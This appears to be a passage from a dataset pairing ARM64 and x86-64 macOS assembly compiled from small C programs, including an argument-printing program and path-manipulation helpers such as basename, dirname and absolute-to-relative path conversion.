movq -16(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB0_3
LBB0_2:
movq -16(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_9
LBB0_3:
movq -16(%rbp), %rax
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
movq -32(%rbp), %rax
movq 8(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
movq -32(%rbp), %rax
movq %rax, -16(%rbp)
movq -24(%rbp), %rax
movq %rax, -40(%rbp)
movq -32(%rbp), %rax
movq %rax, -24(%rbp)
movq -40(%rbp), %rax
movq %rax, -32(%rbp)
movq -32(%rbp), %rax
movq %rax, -48(%rbp)
movq -32(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
LBB0_4: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB0_8
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movq -32(%rbp), %rax
movq %rax, -24(%rbp)
movq -32(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB0_7
## %bb.6:
jmp LBB0_8
LBB0_7: ## in Loop: Header=BB0_4 Depth=1
movq -32(%rbp), %rax
movq 8(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
movq -32(%rbp), %rcx
movq -48(%rbp), %rax
movq %rcx, 8(%rax)
movq -24(%rbp), %rax
movq %rax, -40(%rbp)
movq -32(%rbp), %rax
movq %rax, -24(%rbp)
movq -40(%rbp), %rax
movq %rax, -32(%rbp)
movq -32(%rbp), %rax
movq %rax, -48(%rbp)
movq -32(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB0_4
LBB0_8:
movq -16(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_9:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/1270838.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__const
.globl _Pods_MMTodo_Example_macOSVersionString ; @Pods_MMTodo_Example_macOSVersionString
_Pods_MMTodo_Example_macOSVersionString:
.asciz "@(#)PROGRAM:Pods_MMTodo_Example_macOS PROJECT:Pods-1\n"
.globl _Pods_MMTodo_Example_macOSVersionNumber ; @Pods_MMTodo_Example_macOSVersionNumber
.p2align 3
_Pods_MMTodo_Example_macOSVersionNumber:
.quad 0x3ff0000000000000 ; double 1
.no_dead_strip _Pods_MMTodo_Example_macOSVersionString
.no_dead_strip _Pods_MMTodo_Example_macOSVersionNumber
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__const
.globl _Pods_MMTodo_Example_macOSVersionString ## @Pods_MMTodo_Example_macOSVersionString
.p2align 4
_Pods_MMTodo_Example_macOSVersionString:
.asciz "@(#)PROGRAM:Pods_MMTodo_Example_macOS PROJECT:Pods-1\n"
.globl _Pods_MMTodo_Example_macOSVersionNumber ## @Pods_MMTodo_Example_macOSVersionNumber
.p2align 3
_Pods_MMTodo_Example_macOSVersionNumber:
.quad 0x3ff0000000000000 ## double 1
.no_dead_strip _Pods_MMTodo_Example_macOSVersionString
.no_dead_strip _Pods_MMTodo_Example_macOSVersionNumber
.subsections_via_symbols
| the_stack_data/248580142.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
str wzr, [sp, #12]
ldur w8, [x29, #-8]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_11
LBB0_2:
ldur w8, [x29, #-8]
subs w8, w8, #1
cset w8, le
tbnz w8, #0, LBB0_9
b LBB0_3
LBB0_3:
ldur w8, [x29, #-8]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_9
b LBB0_4
LBB0_4:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
str wzr, [sp, #12]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldr x8, [x8, x9, lsl #3]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_5
LBB0_8:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_10
LBB0_9:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_10
LBB0_10:
b LBB0_11
LBB0_11:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "You only have one argument. You suck.\n"
l_.str.1: ; @.str.1
.asciz "Here are your arguments:\n"
l_.str.2: ; @.str.2
.asciz "%s "
l_.str.3: ; @.str.3
.asciz "\n"
l_.str.4: ; @.str.4
.asciz "You have too many arguments. You suck.\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
cmpl $1, -8(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_11
LBB0_2:
cmpl $1, -8(%rbp)
jle LBB0_9
## %bb.3:
cmpl $4, -8(%rbp)
jge LBB0_9
## %bb.4:
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -20(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB0_8
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movq (%rax,%rcx,8), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_5
LBB0_8:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_10
LBB0_9:
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB0_10:
jmp LBB0_11
LBB0_11:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "You only have one argument. You suck.\n"
L_.str.1: ## @.str.1
.asciz "Here are your arguments:\n"
L_.str.2: ## @.str.2
.asciz "%s "
L_.str.3: ## @.str.3
.asciz "\n"
L_.str.4: ## @.str.4
.asciz "You have too many arguments. You suck.\n"
.subsections_via_symbols
| the_stack_data/40763431.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _rtl_basename ; -- Begin function rtl_basename
.p2align 2
_rtl_basename: ; @rtl_basename
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
str x8, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
add x8, x8, #1
str x8, [sp, #8]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp]
add x8, x8, #1
str x8, [sp]
b LBB0_1
LBB0_7:
ldr x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _rtl_suffixname ; -- Begin function rtl_suffixname
.p2align 2
_rtl_suffixname: ; @rtl_suffixname
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
; kill: def $x8 killed $xzr
str xzr, [sp]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_8
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
; kill: def $x8 killed $xzr
str xzr, [sp]
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #46
cset w8, ne
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
str x8, [sp]
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB1_1
LBB1_8:
ldr x0, [sp]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _rtl_dirname ; -- Begin function rtl_dirname
.p2align 2
_rtl_dirname: ; @rtl_dirname
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x0, [x29, #-8]
bl _rtl_basename
subs x8, x0, #1
str x8, [sp, #16]
ldur x8, [x29, #-16]
str x8, [sp, #8]
ldur x8, [x29, #-8]
str x8, [sp, #24]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldr x9, [sp, #16]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
ldrb w8, [x8]
ldr x9, [sp, #8]
add x10, x9, #1
str x10, [sp, #8]
strb w8, [x9]
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
b LBB2_1
LBB2_4:
ldr x8, [sp, #8]
strb wzr, [x8]
ldur x8, [x29, #-8]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
ldur x8, [x29, #-8]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB2_8
b LBB2_6
LBB2_6:
ldur x8, [x29, #-16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
ldur x9, [x29, #-16]
mov w8, #47
strb w8, [x9]
ldur x8, [x29, #-16]
strb wzr, [x8, #1]
b LBB2_8
LBB2_8:
ldur x0, [x29, #-16]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _rtl_checkPathName ; -- Begin function rtl_checkPathName
.p2align 2
_rtl_checkPathName: ; @rtl_checkPathName
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_6
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
add x8, x8, #1
str x8, [sp, #8]
b LBB3_1
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldr x9, [sp, #8]
add x8, x9, #1
str x8, [sp, #8]
mov w8, #47
strb w8, [x9]
b LBB3_1
LBB3_6:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _rtl_catPathNames ; -- Begin function rtl_catPathNames
.p2align 2
_rtl_catPathNames: ; @rtl_catPathNames
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldur x8, [x29, #-8]
ldrb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_5
b LBB4_1
LBB4_1:
ldur x8, [x29, #-8]
str x8, [sp] ; 8-byte Folded Spill
ldur x0, [x29, #-8]
bl _strlen
ldr x8, [sp] ; 8-byte Folded Reload
add x8, x8, x0
subs x8, x8, #1
str x8, [sp, #8]
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2:
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, eq
tbnz w8, #0, LBB4_4
b LBB4_3
LBB4_3:
ldr x9, [sp, #8]
mov w8, #47
strb w8, [x9, #1]
ldr x8, [sp, #8]
strb wzr, [x8, #2]
b LBB4_4
LBB4_4:
b LBB4_5
LBB4_5:
ldur x0, [x29, #-8]
ldr x1, [sp, #16]
mov x2, #-1
bl ___strcat_chk
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _rtl_absToRelPath ; -- Begin function rtl_absToRelPath
.p2align 2
_rtl_absToRelPath: ; @rtl_absToRelPath
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur x2, [x29, #-24]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp, #56]
ldur x8, [x29, #-24]
strb wzr, [x8]
str wzr, [sp, #52]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-48]
ldur x8, [x29, #-8]
stur x8, [x29, #-32]
ldur x8, [x29, #-16]
stur x8, [x29, #-40]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #48] ; 4-byte Folded Spill
tbnz w8, #0, LBB5_9
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB5_4
b LBB5_3
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB5_7
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-40]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB5_6
b LBB5_5
LBB5_5: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-40]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB5_7
b LBB5_6
LBB5_6: ; in Loop: Header=BB5_1 Depth=1
mov w8, #1
str w8, [sp, #44] ; 4-byte Folded Spill
b LBB5_8
LBB5_7: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
ldur x9, [x29, #-40]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, eq
and w8, w8, #0x1
str w8, [sp, #44] ; 4-byte Folded Spill
b LBB5_8
LBB5_8: ; in Loop: Header=BB5_1 Depth=1
ldr w8, [sp, #44] ; 4-byte Folded Reload
subs w8, w8, #0
cset w8, ne
str w8, [sp, #48] ; 4-byte Folded Spill
b LBB5_9
LBB5_9: ; in Loop: Header=BB5_1 Depth=1
ldr w8, [sp, #48] ; 4-byte Folded Reload
tbz w8, #0, LBB5_15
b LBB5_10
LBB5_10: ; in Loop: Header=BB5_1 Depth=1
ldr w8, [sp, #52]
add w8, w8, #1
str w8, [sp, #52]
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB5_12
b LBB5_11
LBB5_11: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB5_13
b LBB5_12
LBB5_12: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-48]
ldur x8, [x29, #-40]
add x8, x8, #1
str x8, [sp, #56]
b LBB5_13
LBB5_13: ; in Loop: Header=BB5_1 Depth=1
b LBB5_14
LBB5_14: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
ldur x8, [x29, #-40]
add x8, x8, #1
stur x8, [x29, #-40]
b LBB5_1
LBB5_15:
ldr w8, [sp, #52]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_17
b LBB5_16
LBB5_16:
ldur x0, [x29, #-24]
ldur x1, [x29, #-8]
mov x2, #-1
bl ___strcpy_chk
b LBB5_36
LBB5_17:
ldr w8, [sp, #52]
str w8, [sp, #40] ; 4-byte Folded Spill
ldur x0, [x29, #-8]
bl _strlen
ldr w8, [sp, #40] ; 4-byte Folded Reload
mov x9, x0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB5_20
b LBB5_18
LBB5_18:
ldr w8, [sp, #52]
str w8, [sp, #36] ; 4-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldr w8, [sp, #36] ; 4-byte Folded Reload
mov x9, x0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB5_20
b LBB5_19
LBB5_19:
ldur x0, [x29, #-24]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
mov x2, #-1
bl ___strcpy_chk
b LBB5_36
LBB5_20:
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB5_22
b LBB5_21
LBB5_21:
b LBB5_36
LBB5_22:
ldur x8, [x29, #-24]
strb wzr, [x8]
ldr x8, [sp, #56]
stur x8, [x29, #-32]
b LBB5_23
LBB5_23: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #32] ; 4-byte Folded Spill
tbnz w8, #0, LBB5_25
b LBB5_24
LBB5_24: ; in Loop: Header=BB5_23 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
str w8, [sp, #32] ; 4-byte Folded Spill
b LBB5_25
LBB5_25: ; in Loop: Header=BB5_23 Depth=1
ldr w8, [sp, #32] ; 4-byte Folded Reload
tbz w8, #0, LBB5_33
b LBB5_26
LBB5_26: ; in Loop: Header=BB5_23 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #47
cset w8, eq
tbnz w8, #0, LBB5_28
b LBB5_27
LBB5_27: ; in Loop: Header=BB5_23 Depth=1
ldur x8, [x29, #-32]
ldrsb w8, [x8]
subs w8, w8, #92
cset w8, ne
tbnz w8, #0, LBB5_31
b LBB5_28
LBB5_28: ; in Loop: Header=BB5_23 Depth=1
ldur x8, [x29, #-24]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_30
b LBB5_29
LBB5_29: ; in Loop: Header=BB5_23 Depth=1
ldur x0, [x29, #-24]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
mov x2, #-1
str x2, [sp, #24] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #24] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
adrp x1, _rtl_absToRelPath.separator@PAGE
add x1, x1, _rtl_absToRelPath.separator@PAGEOFF
bl ___strcat_chk
b LBB5_30
LBB5_30: ; in Loop: Header=BB5_23 Depth=1
ldur x0, [x29, #-24]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
mov x2, #-1
str x2, [sp, #16] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
adrp x1, _rtl_absToRelPath.separator@PAGE
add x1, x1, _rtl_absToRelPath.separator@PAGEOFF
bl ___strcat_chk
b LBB5_31
LBB5_31: ; in Loop: Header=BB5_23 Depth=1
b LBB5_32
LBB5_32: ; in Loop: Header=BB5_23 Depth=1
ldur x8, [x29, #-32]
add x8, x8, #1
stur x8, [x29, #-32]
b LBB5_23
LBB5_33:
ldur x8, [x29, #-24]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_35
b LBB5_34
LBB5_34:
ldur x0, [x29, #-24]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
mov x2, #-1
str x2, [sp, #8] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #8] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
adrp x1, _rtl_absToRelPath.separator@PAGE
add x1, x1, _rtl_absToRelPath.separator@PAGEOFF
bl ___strcat_chk
b LBB5_35
LBB5_35:
ldur x0, [x29, #-24]
ldur x1, [x29, #-48]
mov x2, #-1
bl ___strcat_chk
b LBB5_36
LBB5_36:
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.space 1
.section __DATA,__data
_rtl_absToRelPath.separator: ; @rtl_absToRelPath.separator
.asciz "/"
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "."
l_.str.2: ; @.str.2
.asciz ".."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _rtl_basename ## -- Begin function rtl_basename
.p2align 4, 0x90
_rtl_basename: ## @rtl_basename
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
cmpb $0, (%rax)
je LBB0_7
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB0_5
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB0_1
LBB0_7:
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rtl_suffixname ## -- Begin function rtl_suffixname
.p2align 4, 0x90
_rtl_suffixname: ## @rtl_suffixname
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
cmpb $0, (%rax)
je LBB1_8
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB1_4
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB1_5
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
movq $0, -16(%rbp)
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $46, %eax
jne LBB1_7
## %bb.6: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movq %rax, -16(%rbp)
LBB1_7: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
jmp LBB1_1
LBB1_8:
movq -16(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rtl_dirname ## -- Begin function rtl_dirname
.p2align 4, 0x90
_rtl_dirname: ## @rtl_dirname
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rdi
callq _rtl_basename
addq $-1, %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rax
movq %rax, -40(%rbp)
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq -32(%rbp), %rax
jae LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
movb (%rax), %cl
movq -40(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -40(%rbp)
movb %cl, (%rax)
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
addq $1, %rax
movq %rax, -24(%rbp)
jmp LBB2_1
LBB2_4:
movq -40(%rbp), %rax
movb $0, (%rax)
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $47, %eax
je LBB2_6
## %bb.5:
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $92, %eax
jne LBB2_8
LBB2_6:
movq -16(%rbp), %rax
movsbl (%rax), %eax
cmpl $0, %eax
jne LBB2_8
## %bb.7:
movq -16(%rbp), %rax
movb $47, (%rax)
movq -16(%rbp), %rax
movb $0, 1(%rax)
LBB2_8:
movq -16(%rbp), %rax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rtl_checkPathName ## -- Begin function rtl_checkPathName
.p2align 4, 0x90
_rtl_checkPathName: ## @rtl_checkPathName
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
